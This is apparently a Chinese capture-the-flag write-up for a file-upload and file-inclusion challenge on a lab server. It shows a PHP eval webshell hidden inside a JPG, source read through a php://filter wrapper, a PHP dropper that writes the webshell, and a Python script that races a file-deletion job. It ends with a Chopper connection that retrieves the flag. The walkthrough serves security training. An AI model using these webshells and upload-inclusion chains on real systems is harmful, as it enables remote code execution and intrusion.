第二届工商ctf快要开始了,大家快来做呀?
打开网站后,是一张老葛的女神照片,在submit页面下有文件上传。很明显这是一道考文件上传内容的题。
那就用文件上传中的一些方法来测试吧!
1.上传1.php里面包含一句话木马
回显错误不能上传,说明了在服务端那里有白名单过滤。
2.那就将一句话木马写在图片中 使用copy 1.jpg/b+1.php/a 2.jpg来生成带一句话木马的图片上传
上传成功。因为从url中的page参数可以看出有文件包含(文件包含漏洞解析),那就再来包含刚才的jpg,发现一句话木马并没有执行成功。
这是为什么?老葛的思路还是猥琐没有按照常规来呀。源码中有每隔2秒删除文件的脚本
3.既然有文件包含,那就试试用php的伪协议看能不能读源码。(php伪协议知识点)
在url的page参数后面构造php伪协议来读取关键脚本upload.phpd的内容,构造如下:http://10.21.13.153:30000/?page=php://filter/read=convert.base64-encode/resource=upload.php
得到一串base64字符串解码后得到如下源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50<META http-equiv="content-type" content="text/html; charset=utf8">
<?php
error_reporting(0);
include 'config.php';
function get_random_string(){
$random_string = '';
$str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
for($i = 0; $i < 16; $i++){
$random_string .= substr($str, rand(1, 61), 1);
}
return $random_string;
}
if (isset($_POST['Upload'])) {
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
$target_path ="./Err0r/";
$target_name = get_random_string();
$target_path = $target_path . $target_name . '.'.$uploaded_ext;
if (($uploaded_ext == "jpg" || $uploaded_ext == "png" || $uploaded_ext == "gif" ) && ($uploaded_size < 100000)){
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '<pre>';
echo $target_path .' succesfully uploaded!';
echo '</pre>';
}
}
else{
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
}
}
?>
一句话木马1
2
3
4
5<?php?
$file=fopen('./Err0r/1.php','w');
$txt='<?php @eval($_POST["cmd"]);?>';
fwrite($file,$txt);
>
以及存在一个几秒内删除文件的脚本,那就用构造payload来绕过这个限制。1
2
3
4
5
6
7
8
9
10
11
12#coding:utf-8
import requests
import re
url="http://10.21.13.153:30000/?page=upload.php"
file={'uploaded':open('3.jpg','rb')}
data={'Upload':'Upload'}
x=requests.post(url,files=file,data=data)
y=re.findall('<pre>(.*)succesful',x.text)
print y[0][:-1]
url2="http://10.21.13.153:30000/index.php?page="+y[0][:-1]
y=requests.get(url2)
print y.content
运行payload后网页访问url
http://10.21.13.153:30000/?page=./Err0r/3.jpg
出现如下结果说明包含成功,
运行urlhttp://10.21.13.153:30000/?page=./Err0r/1.php没报错说明脚本写入成功
那接下来就用菜刀来链接
链接成功拿到flag